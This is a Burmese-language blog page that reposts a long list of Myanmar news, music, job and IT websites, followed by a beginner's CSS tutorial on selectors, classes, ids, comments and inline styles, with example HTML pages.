စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....

Friday, January 25, 2013

ျမန္မာ ဆိုက္မ်ား


• Posted by pearlphyu on ဇြန္ 10, 2011 at 5:14pm
• သတင္းပုိ႔မယ္ View Blog
1. www.planet.com.mm (သတင္းေလးေတြစံုတယ္ေနာ္)
>> > 2.www.people.com.mm (မဂၢဇင္း စာAုပ္ေလးေနာ္)
>> > 3.www.khitluneg.org.mm (ေရႊေစ်း၊ေဒၚလာေစ်းေတြနဲ႕ သတင္းစံုေတြ)
>> > 4.www.alpha.com.mm (ZawGyi Font ေလးေတြယူရေAာင္)
>> > 5.www.flashband.net (သီခ်င္းနဲ႕ MTV ေလးေတြနားေထာင္မယ္)
>> > 6.www.myanmarmp3.net (သီခ်င္းေတြ ေဒါင္းမယ္၊နားေထာင္မယ္)
>> > 7.www.myanmar-music.com(သီခ်င္းေလးေတြပါပဲ)
>> > 8.www.freemyanmarvcd.com(vcd ေလးေတြၾကည့္မယ္)
>> > 9.www.khayanpyareinmat.com(vcd ေလးေတြၾကည့္မယ္)
>> >
>> > 10.www.shwedream.com(vcd ေလးေတြၾကည့္မယ္)
>> > 11.www.burmeseclassic.com(ဓမၼသီခ်င္းမ်ား)
>> >
>> > 12.www.shweclassic.com (ဓမၼသီခ်င္းမ်ား)
>> >
>> > 13.www.royal-myanmar.com (ဒါလည္းစံုတယ္ေနာ္)
>> > 14.www.yinkhonthanfm.com
>> > 15.www.popularmyanmar.com (ေပၚျပဴလာဂ်ာနယ္ေလးေနာ္)
>> > 16.www.myanmarpyithar.com
>> > 17.www.first-11.com
>> > 18.www.weeklyeleven.com (eleven ဂ်ာနယ္စံု)
>> > 19.www.snapshop.com(လွ်ပ္တစ္ျပက္ဂ်ာနယ္)
>> > 20.www.myanmar.com(ေၾကးမံု၊ျမန္မာ့Aလင္းသတင္းစာဖတ္ရ ေAာင္)
>> > 21.www.mrtv3.net.mm(ဒါလည္း သတင္းစာေရာဖတ္လုိ႕ရပါတယ္)
>> > 22.www.myanmarinternetjournal.com(Aင္တာနက္ဂ်ာနယ္ဖတ ္ရေAာင္)
>> > 23.www.soccermyanmar.com(ေဘာလံုးသတင္း ေတြAစံုပါတယ္)
>> > 24.www.livescore.com(ေဘာလံုးပြဲစU္ေတြၾကည့္မယ္)
>> > 25.www.asianbookie.com(ေဘာလံုးပြဲေပါက္ေၾကးေတြ ၾကည့္မယ္)
>> > 26.www.perfectmagazineonline.com(ေAာင္ျမင္မဂၢဇင္းေ လးေနာ္)
>> > 27.www.studying-singapore.com(ေက်ာင္းေလွ်ာက္တာ ေတြ ၾကည့္ခ်င္ရင္)
>> > 28.www.csstb.gov.mm(၀န္ထမ္း ေရြးခ်ယ္ေလ့က်င့္ေရး က ေခၚတဲ့ Aလုပ္ေတြေနာ္)
>> > 29.csstb.imis.com.mm(ေနျပည္ေတာ္ ရုံးAမွတ္ (၁၇) ရဲ႕
>> ေၾကျငာခ်က္ေတြၾကည့္မယ္)
>> > 30.www.unjobs.org(NGO ကေခၚတဲ့ Aလုပ္ေတြရွာ မယ္)
>> > 31.www.thanzinhlaing.com
>> >
>> > 32.www.naykabyar.com
>> >
>> > 33.www.journalopportunity.com ( Aလုပ္ေတြ ရွာ မယ္ေနာ္)
>> >
>> > 34.www.iburmese.com
>> >
>> > 35.www.mymyanmar.net
>> >
>> > 36.www.myanmar.mmtimes.com (ျမန္မာတိုင္းစ္
>> ဂ်ာနယ္ကိုျမန္မာလုိဖတ္မယ္ေနာ္)
>> >
>> > 37.www.etrademyanmar.com
>> >
>> > 38.www.myanmarelibrary.com(Aဂၤလိပ္-ျမန္မာAဘိဓာန္)
>> >
>> > 39.www.mandalaygazette.com
>> > 40.www.shopping.com.mm
>> > 41.www.healthymyanmar.com
>> > 42.www.jivitahospital.org(ဇီ၀ိတဒါန ေဆးရုံ Aေၾကာင္း သိခ်င္ရင္)
>> > 43.www.myanmarbible.net
>> > 44.www.myanmargoal.com
>> > 45.www.myanmarhotjob.com(ဒီမွာလည္း Aလုပ္Aေၾကာင္းသိခ်င္ရင္)
>> > 46.www.myanmarscholarship.com
>> > 47.www.myanmarmyanmar.com
>> > 48.www.bobo.6te.net (ကေလးမ်ား Aတြက္ ဘုိဘုိရဲ႕ ေလာကနက္ဂိမ္းနဲ႕ ကာတြန္း)
>> > 49.www.myanmarmedicine.com(ေဆးပညာ Aေၾကာင္းဖတ္ခ်င္ရင္)
>> > 50.www.hird.hypermart.net
>> > 51.www.serenapowers.com
>> > 52.www.most.gov.mm(နည္းပညာတကၠသိုလ္Aေၾကာင္းေတြ သိခ်င္ရင္)
>> > 53.www.ucsy.edu.mm (ကြန္ပ်ဴတာတကၠသိုလ္Aေၾကာင္း ေတြ ဖတ္ခ်င္ရင္)
>> > 54.www.bagan.net.mm(ျမန္မာတယ္လီပုိ႕စ္Aေၾကာင္းသိခ်င ္ရင္)
>> > 55.www.foreverspace.com.mm
>> > 56.www.redmyanmar.net
>> > 57.www.thanlwin.com
>> > 58.www.myanmartraining.com(ႏုိင္ငံတကာေက်ာင္းေတြAေၾ ကာင္းသိခ်င္ရင္)
>> > 59. www.mysuboo.com(ဒါကေတာ့ စုဗူးေလးေနာ္)
>> > 60.www.mmthingyan.com(ျမန္မာသၾကၤန္Aေၾကာင္းဖတ္ခ်င္ရ င္)
>> > 61.www.ainmat.com(ဘယ္လုိAိမ္မက္ေတြမက္ထားလဲ ၾကည့္ခ်င္ရင္)
>> > 62.www.yinkhonthanfm.com(FM သီခ်င္းေလးေတြနားေထာင္ရေAာင္ေနာ္)
>> > 63.www.myanmarelottery.com(Aြန္လုိင္းကေနထီ တိုက္ရေAာင္ေနာ္)
>> > 64.www.myanmarspace.com(ေဆာင္ပါးေတြနဲ႕ဗြီဒီယိုေတြၾ ကည့္မယ္ေနာ္)
>> > 65.www.mysteryzillion.com(နည္းပညာေတြႏွီးေႏွာ္ ဖလွယ္ရေAာင္)
>> > 66.www.myanmaritpros.com (နည္းပညာAေၾကာင္းေလးေတြ ဖတ္ရေAာင္)
>> > 67. www.dhamadarna.net ( ဓမၼဒါန )
>> > 68.www.myanmarengineer.org ( ျမန္မာ Aင္ဂ်င္နီယာမ်ားAသင္း )
>> > 69. www.phatpa.com (ဖတ္ပါ့ သတင္းဂ်ာနယ္ )
>> > 70.www.ourmandalay.net (ကၽြႏု္တို႕ ရဲ႕ မႏၱေလး )
>> > 71. www.myanmarchatonline.org (online သတင္းေလးေတြ )
>> > 72. www.problemclean.ning.com( နည္းပညာေလးေတြေဆြးေႏြးရေAာင္ )
>> > 73.www.wikimyanmar.org ( ျမန္မာ Aြန္လုိင္း စြယ္စံုက်မ္း )
>> > 74.www.minnkyansis.com ( မင္းက်န္စစ္ရဲ႕ ရသကမၻာ )
>> >
>> >
>> > www.nyakabyar.com ဒါလဲသီးခ်င္းဆုိက္ပါပဲ။ က်ေနာ္သူငယ္ခ်င္းAတြက္ေနာ္။
>> > www.khayanpyareinmet.com
>> > www.myanmarmp3.net ဒါေလးကလည္းAတူတူပါပဲေနာ္။ သီးခ်င္းပါပဲ။
>> > www.myanmar-music.com ဒါကေတာ့ျမန္မာသီးခ်င္းဆုိက္ေလး
>> > ပါပဲ။
>> > www.shwedream.com
>> > www.freemyanmarvcd.com
>> > http://myanmarbloggers.co.nr
>> > www.technical-seven.com/forum
>> > http://forums.nativemyanmar.net
>> > www.myitzuri.com
>> > www.lotaya.com
>> > www.ayinepan.com/music/mp3.php
>> > http://english4success.blogspot.com
>> > www.mysuboo.com
>> > www.myanmarelibrary.com
>> > http://livescore.com ဒါေလးကလည္းေဘာလုံးဆုိက္ေတြပါပဲ။
>> > http://mmopenlibrary.com
>> > http://en.wikipedia.org/wiki/main_Page
>> > www.moemaka.com
>> > http://shwesagar.com
>> > http://www.mutdfan.com ဒါကေတာ့ေဘာလ္လုံးဆုိက္ေလ။
>> > http://kopyaesone.co.cc
>> > ဒါေလးကလည္းက်ေနာ္တုိ႔ကုိျပည့္စုံရဲ႕ဆုိက္ေလးပါပ ဲ။ ေကာင္းတယ္ေနာ္။
>> > ဒီကေတာ့Aၿမဲတမ္း၀င္ၾကည့္ျဖစ္တယ္ေနာ္။ ၾကည့္ၾကပါ။ သူလည္းသီခ်င္းဆုိက္ပါပဲ။
>> > သူမ်ားကုိဒုကၡေပးခ်င္သူမ်ားၾကည့္လုိ႔ရတယ္ေနာ္။
>> > Aၿမဲတမ္းကုိေဇ e-book ေတြရယူတဲ့ေနရာေပါ့။
>> > www.searchmyanmar.com ဒီဆုိက္ကလဲေကာင္းတယ္ေနာ္။ Aသုံးမ်ားကေတာ့ link
>> > ပုံစံလုပ္ေပးထားတယ္ေနာ္။
>> > http://en.wordpress.com
>> > www.aungsan.com ဒါကေတာ့ဗုိလ္ခ်ဳပ္ဆုိက္ေလ။
>> > www.friendsdaygroup.ning.com
>> > www.friendsdaygroup.multiply.com
>> > http://www.coolmp.com ဒီဆုိက္မ်ားကေတာ့ gmail.
>> > မွာဖတ္လုိ႔မရရင္ဖတ္လို႔ရတယ္ေနာ္။
>> > www.photayokeking.org
>> > www.cmsmdy.blogspot.com ဒီဆုိက္လဲေကာင္းတာပဲေနာ္။
>> > Aေကာင္းေတြပဲဆုိေတာ့ဘယ္ဆုိက္ၾကည့္ရမွန္းမ သိျဖစ္ေနAုံးမယ္ေနာ္။
>> > www.mizzimaburmese.com
>> > http://komoethee.blogspot.com
>> > ဒါကေတာ့ ကုိရီးယာမင္းသားမင္းသမီးမ်ားရဲ႕ဆုိက္ေတြပါ။
>> > www.hancinema.com (or) net
>> > www.hanfever.con
>> > http://lee-junki.com ဒါကေတာ့ကုိရီးယားစတားလီဂၽြန္ကီေလဆုိက္ေလ။
>> > http://yeinjee.com ဒါလဲေကာင္းတာပဲေနာ္။
>> > ဒါကေတာ့ www.thefreesite.com ဆုိက္ေပါ့ေနာ္။ Aကုန္လုံး free
>> ရတယ္ေျပာတာပဲေနာ္။
>> > ဒီ www.bazanlin-wordpress.com ဆုိက္ကေတာ့ဗုိလ္ခ်ဳပ္နဲ႔့ပါတ္သက္တယ္ဗ်။
>> > သူ႔Aေၾကာင္းေလးပါပဲေနာ္။
>> > ဒီ www.myochitmyanmar.org ဆုိက္ကေတာ့ႏုိင္ငံေရးဆန္တယ္ဗ်။
>> > ၾကည့္ခ်င္လည္းၾကည့္ေပါ့ေနာ္။
>> > ဒီ http://www.ramonnya.co.cc ဆုိ္က္ကေတာ့မြန္Aေၾကာင္းထင္တာပဲေနာ္။
>> ယူထားလုိက္။
>> > ေAာက္ကဆုိက္ေတြကေတာ့ေကာင္းတယ္ဗ်။
>> > www.wiki-mysteryzillion.org
>> > www.edu-mysteryzillion.org ဒီဆုိ္က္ကေတာ့နည္းပညာAခမဲ့သင္တယ္ေျပာတာပဲေနာ္။
>> > www.mmopenxteam.com ဒီဆို္က္ကေတာ့ဘာသာျပန္ေတြမ်ားပါတယ္ေနာ္။
>> > www.mmenglish.net ဒီဆုိက္ကေတာ့Aဂၤလိပ္စာသင္ၾကားေရးပါ။
>> > ကိုေဇတုိ႔ကေတာ့Aၿမဲတမ္းၾကည့္ပါတယ္။
>> > www.ornagai.com ဒါကေတာ့Aဘိဓာန္ေတြေ၀ငွေပးတယ္ေနာ္။ Aကုန္လုံးေပါ့။
>> > www.dems.net.mm
>> > ဒီဆုိ္က္ကေတာ့ကုိယ့္စာေရာက္မေရာက္ၾကည့္လုိ႔ရတယ္ေျပာတ ယ္ေနာ္။ code
>> > နံပါတ္နဲ႔ၾကည့္ေလ။ Aျမန္ေခ်ာစာမွၾကည့္လုိ႔ရတာေနာ္။
>> > www.myanmartraining.com ဒါလဲေကာင္းတာပဲ။
>> >
>> > ဒီ www.myanmaritpros.comဆုိက္ကေတာ့ကြန္ပ်ဴတာAေၾကာင္းေဆ ြးေႏြးခ်က္ေတြပါေနာ္။
>> > သူမ်ားကုိဒုကၡေပးခ်င္သူမ်ားၾကည့္လုိ႔ရတယ္ေနာ္။
>> > ဒီ www.en.worpress.com ဆိုက္လည္းေကာင္းပါတယ္။
>> > ဒီ www.photoro.com ဆုိက္လည္းဓာတ္ပုံေကာင္းတယ္ေျပာတယ္ေနာ္။
>> > ဟုိကိုရီးယားကား ဒုိးဒုိးေဒါက္2ဘုႏွင့္ေဘာက္
>> > ဆုိလားဇာတ္ကားကမင္းသမီးကုိAဲဒီကရတာ။
>> > ဒီ www.hankyung.com ဒါလဲေကာင္းပါတယ္။
>> > ခုကုိေဇဆီမွာ mp3,mp4 ေတြAမ်ားႀကီးမုိ႔လုိခ်င္တဲ့သူမ်ား။
>> > ေနာက္Aဂၤလိပ္သီးခ်င္းေတြ။ e-book ေတြရွိတယ္ေနာ္။
>> > ယူခ်င္ရင္ဆက္သြယ္လုိက္ပါ။ uni.kozay@gmail.com ဆီကုိေလ။ တာ့တာ
>> >
>> > ေနာက္ေတြ႔လာတဲ့ဆုိက္ေလးေတြပါ။
>> > ျမန္မာAုိင္တီႏွင့္ပါတ္သက္မယ္ထင္တဲ့ဆုိက္ေလးေတြ ပါ။ ဟုတ္လည္းဟုတ္ပါတယ္။
>> > Myanmar IT Blogs
>> > http://kyawnux.blogspot.com
>> > ttp://linsanle.blogspot.com
>> > http://azure-phoeniz.blogspot.com
>> > http://tahkharka.blogspot.com
>> > http://platonicloveaugust4.blogspot.com
>> > http://soehtet.blogspot.com
>> > http://khaingzaw.blogspot.com
>> > http://natshinnaung.blogspot.com
>> > http://www.rhythmless.isgreat.org
>> > http://www.peacefulforever.co.cc
>> > http://nyameeeain.blogspot.com
>> > http://kyawthetlatt.blogspot.com
>> > http://shwepyithu.blogspot.com
>> > http://www.winzaw-mdy.blogspot.com
>> > http://phoelapyae.isgreat.org
>> > http://www.mgtaryar.iblogger.org
>> > http://www.koyinnyein.blogspot.com
>> > http://aungmyohan.myanmarbloggers.org
>> > http://thuratun.22web.net
>> > http://noway.mmeyes.net
>> > http://zawlay.mmeyes.net
>> > http://kokyawmyintoo.blogspot.com/
>> > http://zawthureintun.googlepages.com ဆုိက္လည္းေကာင္းတာပဲေနာ္။
>> > Aုိင္တီ္မန္းကိုတည္ေထာင္သူေလ။
>> > http://nnyioo.googlepages.com ဆုိက္လည္းေကာင္းတာပဲေနာ္။
>> >
>> > ေဒါက္တာခုိင္မ်ုဳိးဆုိက္ထဲကရထားတဲ့ဆုိက္ေလးေတြပ ါ။
>> > ျမန္မာဘေလာ့ဒ္ေတြကို၀င္ေရးေနတဲ့Aစ္ကုိႀကီးေတြ/ဆရာေတြပါ။ ယူထားလုိက္။
>> > http://www.yanaung.blogspot.com/
>> > http://www.soehtet.blogspot.com
>> > http://www.drlunswe.blogspot.com
>> > http://dhammaratha.blogspot.com
>> > http://http/titsartayar.0fees.net
>> > http://www.dhammaweb.net
>> > http://wesheme.blogspot.com
>> > http://nnyilynnseck.blogspot.com
>> > http://emotionalcorner.lanolay.com
>> > http://drkyaingmyo.myanmarbloggers.org
>> > http:///www.mybloglog.com
>> > http://www.funcygens.com
>> > http://samerss.myanmarcalender.com
>>>http://www.thungechinmyar.co.cc (Aင္တာနက္မွ ပိုက္ဆံရွာေဖြနည္း AပါA၀င္
AျခားAေၾကာင္းAရာမ်ား)

CSS အေၾကာင္း တေစ့တေစာင္း


www.phoelapyae.com 1
1 ရာမညဖိုးလျပည့္

CSS ဆိုတာ Cascading Style Sheets ရဲ႕ အတိုေကာက္ပါ။
CSS အေၾကာင္းကို ေဆြးေႏြးမယ္ဆိုေတာ့ HTML ကုိနည္းနည္းပါးပါး နားလည္မွ ရပါမယ္။ HTML Tag ေတြကုိ
အနည္းအက်ဥ္း ေလ့လာေစလိုပါတယ္။ ဥပမာ <p>This is a paragraph</p> မွာ p ဆိုတာ paragraph ျဖစ္ပါတယ္။
အဲလိုမ်ိဳးေပါ့ ။ အနည္းအက်ဥ္းသိရင္ ပိုေကာင္းပါတယ္။
HTML ဆို <html> စၿပီး</html>နဲ႕ ဆံုးသလို CSS မွာလဲ <style>CSS</style>ဆိုၿပီးေရးပါတယ္။ ေနာက္တစ္ခု
မွတ္ထားရမွာကေတာ ႔ CSS Style code ဟာ head tag အတငြ ္းမွာပ ဲ ရိွရပါမယ။္ CSS စေရးမယ္ဆိုၿပီး
ဒီလိုေၾကာ္ျငာရပါတယ္။ </title> ၿပီးေတာ႔ </head> မဆံုးမီ ၾကားမွာေရးရမယ္။ဆိုလုိတာက </title> နဲ႕ </head>
ၾကားမွာ CSS style code ကိုေၾကာ္ျငာေပးရမွာပါ။ ဒီလိုေလးပါ ။
<head><title>My Test</title>
<style type=text/css>
<style>
</head>
CSS ကုိေရးမယ္ဆိုရင္ သူ႕ ရဲ႕ ေရးထံုးစည္းမ်ဥ္းကေတာ့
selector {property: value} ပါ။ အဲဒါကုိ ေရးမယ္ဆိုရင္
body {background-color: black}
ဒီေနရာမွာ
body -- > selector
property-- > backgroun-color
value -- > black
www.phoelapyae.com 2
2 ရာမညဖိုးလျပည့္
ျဖစ္ပါတယ္။ ေနာက္ပိုင္း အေခၚအေ၀ၚေတြ သံုးရင္ selector ၊ property ၊ value ေတြနဲ႕ သံုးမွာမို႕လို႕
ဘာကုိဆိုလိုတယ္သိေအာင္ မွတ္ထားဖို႕ လိုပါတယ္။
body {backgroun-color: black} အလုပ္လုပ္ပံုကေတာ့ body လို႕ ေရးထားတဲ့အတြက္ web pages တိုင္းရဲ႕ body
တိုင္းကို ေနာက္ခံအေရာင္ အမဲေရာင္အေနနဲ႕ သက္ေရာက္မွာ ျဖစ္ပါတယ္။
အစိမ္းေရာင္ထည့္ခ်င္တယ္ဆိုရင္ body {backgroun-color: green} ေပါ့။
တကယ္လို႕ value တန္ဖိုးဟာ စာလံုးတစ္လံုးထက္ပိုေနရင္ Double Quote အတြင္းထည့္ေရးပါတယ္။
P {font-family: “sans serif”}
ထို႕ နည္းအတူပဲ property မွာလဲ တစ္ခုထက္ပိုၿပီးထည့္ခ်င္ရင္ ( ; ) ေလး ထည့္ေရးရပါတယ္။
P {text-align:center; color: red}
ဒီေနရာမွာ p ဆုိတာက HTML Browser နားလည္တဲ ့pre defined fomatter tag လို႕ေခၚပါတယ္။ ဒါေၾကာင့္ p ဆိုရင္
paragraph ျဖစ္ၿပီး ၊ h1 ဆိုရင္ Header ျဖစ္ပါတယ္။ ဒီ့အတြက္ HTML Tag အခ်ိဳ႕ နားလည္ဖို႕ လိုပါတယ္။ ေစာေစာက
style ေတြ ရွင္းလင္းေအာင္ စုလုိက္မယ္ဆိုရင္
<style>
P
{
text-align: center;
color: red;
font-family: “sans serif”
}
</style>
www.phoelapyae.com 3
3 ရာမညဖိုးလျပည့္
Grouping
CSS မွာ selector ေတြကုိ style တူရာ အုပ္စုေလးေတြဖြဲ႕ နိုင္ပါတယ္။
h1,h2,h3,h4,h5,h6
{
color: red
}
h ဆိုတာ header ျဖစ္ၿပီး ဒီလိုေရးလုိက္ျခင္းအားျဖင့္ header အားလံုး အနီေရာင္
ေျပာင္းသြားမွာပါ။ကုတ္အမ်ားႀကီးေရးစရာ မလိုေတာ့ပဲ တူရာကိုစုစည္းလုိက္ျခင္းျဖင့္ တစ္ခါတည္းျဖင့္
အလုပ္ၿပီးေျမာက္ပါတယ္။
အခုသိၿပီးသား ကုတ္အနည္းငယ္နဲ႕ web page တစ္ခုဖန္တီးရေအာင္
<html>
<head><title>Example 1</title>
<style type="text/css">
body {background-color: yellow}
h1 {color: blue}
h2 {color: black}
h3 {color: red}
h4 {color: green}
P
{
text-align: center;
color: red;
www.phoelapyae.com 4
4 ရာမညဖိုးလျပည့္
font-family: Zawgyi-one
}
</style>
</head>
<body>
<h1>This header is 36 pt and color is blue</h1>
<h2>This header is black</h2>
<h3>This header is red</h3>
<h4>This header is green</h4>
<p>This paragraph is center of webpage and color is red and also font is
zaw gyi</p>
</body>
</html>
အထက္ပါကုတ္ကုိ notepad တြင္ save ၿပီး Save as type ကုိ All file ကိုေရြးၿပီး File name ကုိ example.html နဲ႕
ေပးလုိက္ပါ။ HTML ေရးထားေသာ page မ်ားကုိ .html နွင့္ .htm လို႕ ေပးမွသာ brower တြင္ ေပၚပါလိမ့္မည္။ ဒီလိုေလး
ရပါလိမ့္မယ္ ။
www.phoelapyae.com 5
5 ရာမညဖိုးလျပည့္
class Selector
class selector ကုိ web page တစ္ခုထဲမွာ style အမ်ိဳးမ်ိဳးသံုးခ်င္ရင္ ေရးပါတယ္။ ဥပမာ စာပိုဒ္ ၂ ပုဒ္ရွိရင္ ၁ ပုဒ္ကုိ
ဘယ္ဘက္ ၊ က်န္ ၁ ပုဒ္ကို အလယ္ထားခ်င္တာမ်ိဳးေပါ့။
p.right {text-align: right}
p.center {text-align: center}
ဒါဆိုရင္ style ကုိေၾကာ္ျငာယံုပဲရွိေသးတယ္။ ဘယ္စာပုဒ္ကုိ ဘယ္လက္၊ ဘယ္စာပုဒ္ကို အလယ္ဆိုတာ ေရးေပးရပါမယ္။
ဒါကို body မွာ ဒီလိုေခၚသံုးရပါတယ္။
<p class=”right”>
This paragraph will be right-aligned.
</p>
<p class=”center”>
This paragraph will be center-aligned.
</p>
ဒီေနရာမွာ ေျပာလုိတာက p.right {text-align: right} ဆိုတဲ့ေနရာမွာ p.right အစား p.yamanya {text-align: right}
ဆိုၿပီးေရးလုိ႕ ရပါတယ္ ။ ဒါဆိုေခၚသံုးရင္ေတာ့ ဒီလိုေလးမွရမွာေပါ့။
www.phoelapyae.com 6
6 ရာမညဖိုးလျပည့္
<p class=”yamanya”>
This paragraph will be right-aligned.
</p>
ဆိုလုိတာက class ကို ႀကိဳက္တဲ့နာမည္နဲ႕ assign လုပ္လို႕ ရတာကိုပါ။ ဒါေပမ ့ဲ Class name ရ့ဲအစကို
ကိန္းဂဏန္းေပးထားလို႔မရဘူး.. ေပးထားရင္ Mozila Firefox မွာ အလုပ္မလုပ္ပါဘူး။ဆက္ရေအာင္ ..
ဒီေနရာမွာ class selector ကုိ ထပ္တိုးေရးခ်င္ေသးတယ္ဆိုရင္ ေရးလို႕ ရပါေသးတယ္။
<p class=”center bold”>
This is a paragraph.
</p>
ေရးခဲ့တဲ့ class selector ထဲက selector ကိုခ်န္ၿပီး class သီးသန္႕ ပဲေရးၾကည့္ရေအာင္။ဒီလိုဆိုလိုတာပါ။
.center {text-align: center}
ဒါဆုိဘာထူးျခားသြားလဲ ?
Style မွာ အဲလို ေၾကာ္ျငာၿပီးသြားရင္ class=”center” ကုိေခၚသံုးတဲ့ အရာတိုင္း center ျဖစ္သြားေရာ။ေစာေစာကလို h1 ၊
h2 ၊ p စသည္တို႕ ကို center ထားခ်င္ရင္ တစ္ေၾကာင္းခ်င္းလိုက္ေရးရလိမ့္မယ္ ။ ဒါဆိုရင္ တစ္ေၾကာင္းတဲ့နဲ႕ ေရးခ်င္တဲ့
selector ကုိေခၚသံုးယံုပါပဲ။ ဒီလိုေလးပါ။
<h1 class=”center”>This heading will be center-align</h1>
<p class=”center”>This paragraph will also be center-aligned.</p>
www.phoelapyae.com 7
7 ရာမညဖိုးလျပည့္
Class selector နဲ႕ ပက္သက္ၿပီး web page တစ္ခုေရးၾကည့္ရေအာင္။
<html>
<head><title>Football</title>
<style type="text/css">
body {background-color: yellow}
p.left
{
text-align: left;
color: blue
}
p.yamanya
{
text-align: right;
color: red
}
.center
{
text-align: center;
color: green
www.phoelapyae.com 8
8 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body>
<h1 class="center">Football Teams</h1>
<p class="center">Arsenal</p>
<p class="left">ManU</p>
<p class="yamanya">Chelsea</p>
</body>
</html>
အဲဒါကို result ထုတ္လုိုက္ရင္ ဒီလိုေလးပါ။
www.phoelapyae.com 9
9 ရာမညဖိုးလျပည့္
ဒီေနရာမွာ center ၂ ခုျဖစ္တဲ့ Football Teams နဲ႕ Arsenal တို႕ ကို .center {text-align: center}
တစ္ေၾကာင္းတည္းနဲ႕ ေၾကာ္ျငာနိုင္တာရယ္၊ class selector မွာ မိမိစိတ္ႀကိဳက္နာမည္ p.yamanya နဲ႕ ေရးထားတာကုိ
ျမင္ေစလိုပါတယ္။
id selector
ေစာေစာက သံုးခဲ့တဲ့ class selector ဆိုတာ HTML Tag ေတြကုိသာ apply လုပ္ပါတယ္။ ဒါေၾကာင့္လဲ selector ေရးရင္
(p, td, tr, h1, h2, …..) နဲ႕ ေရးရပါတယ္။ တကယ္လို႕ မိမိက မိမိစိတ္ႀကိဳက္နာမည္နဲ႕ assign လုပ္ခ်င္ရင္ id selector
ကုိသံုးပါတယ္။ id selecotr ကုိ define လုပ္ဖို႕ အတြက္ # ကုိထည့္ရပါတယ္။
#para
{
text-align: center;
color: blue
}
www.phoelapyae.com 10
10 ရာမညဖိုးလျပည့္
Tag အမည္ေတြျဖစ္တဲ့ (p, td, tr, h1, h2,…) စတာေတြကုိ အမည္မသံုးခ်င္လို႕ မိမိစိတ္ႀကိဳက္အမည္ကို id selector
သံုးၿပီးေရးထားတာပါ။ အဲလိုေၾကာ္ျငာၿပီးရင္ ေခၚသံုးရပါမယ္။
<p id=para>
This is paragraph.It will be centerd align and red color.
</p>
class selector လိုပဲ id selector လဲ အမည္နာမေတြကုိ ကိန္းဂဏန္းနဲ႕ စေပးလို႕ မရပါဘူး။
Comment
Comment ဆိုတာ မိမိေရးခဲ့တဲ့ကုတ္ဟာ ဘာအတြက္ေရးခဲ့တယ္ဆိုတာ မွတ္သားထားတာပါ။ေနာက္တစ္ခ်ိန္က်ရင္ မိမိက
ကုတ္ေတြျပန္ျပင္ရင္ မိမိေရးခဲ့တဲ့ comment ကိုၾကည့္ၿပီး ဒီကုတ္ဟာ ဘာအတြက္ေရးထားတယ္ဆိုတာ သိနုိင္ပါတယ္။
အဲလိုေရးထားတဲ့ comment က browser ေပၚမွာ ေပၚေနမွာမဟုတ္ပါဘူး။ ေရးၾကည့္ရေအာင္ ….
/* This is comment */
မိမိေရးခ်င္တဲ့စာသားကုိ /* နဲ႕ */ ၾကားမွာေရးရမွာပါ။
နမူနာၾကည့္ရေအာင္ ….
<html>
<head>
<title>My Love</title>
/* Styles are starting here */
<style>
/* This is codes for paragraph */
p
{
text-align: center;
color: white
www.phoelapyae.com 11
11 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body bgcolor=black>
<p>I always remember u</p>
</body>
</html>
Browser မွာ comment ေရးထားတာ မေပၚတာကို ေတြ႕ ရပါမယ္။
Applying CSS
CSS style sheet နဲ႕ web pages ေတြကုိ format ခ်တဲ့ေနရာမွာ အၾကမ္းဖ်င္းအားျဖင့္ (၃)မ်ိဳး format ခ်လို႕ ရပါတယ္။
Inline , Internal , External ဆိုၿပီးေပ့ါ ။ Inline ဆိုတဲ့အတိုင္း HTML Tag တိုင္းမွာ CSS ကုိထည့္မွာ ၊ Internal ကေတာ့
ကြ်န္ေတာ္အေပၚမွာ ေရးခဲ့တဲ့ ကုတ္ေတြလို </title> နဲ႕ </head> ၾကားမွာေရးတာပါ၊ External ကေတာ့ style sheet
ေရးၿပီး web page တစ္ခုစီမွာ Link tag ေတြ ခ်ိတ္ၿပီး အဲဒီ style sheet ကုိေခၚသံုးမွာပါ။ဥပမာ wordpress
မွာသံုးထားတာလိုမ်ိဳးေပါ့။ style.css ကုိ ျပင္လိုက္တာနဲ႕ website တစ္ခုလံုးေျပာင္းလဲသြားနုိင္ပါတယ္ ။
အေသးစိတ္တစ္ခုခ်င္းေလ့လာရေအာင္ …..
In Line
In Line နဲ႕ ေရးမယ္ဆိုရင္ သက္ဆုိင္ရာ tag တစ္ခုထဲမွာပဲေရးပါတယ္။ဒီလိုပါ။
<p style=”color=blue; text-align: ceneter”>This is a paragraph</p>
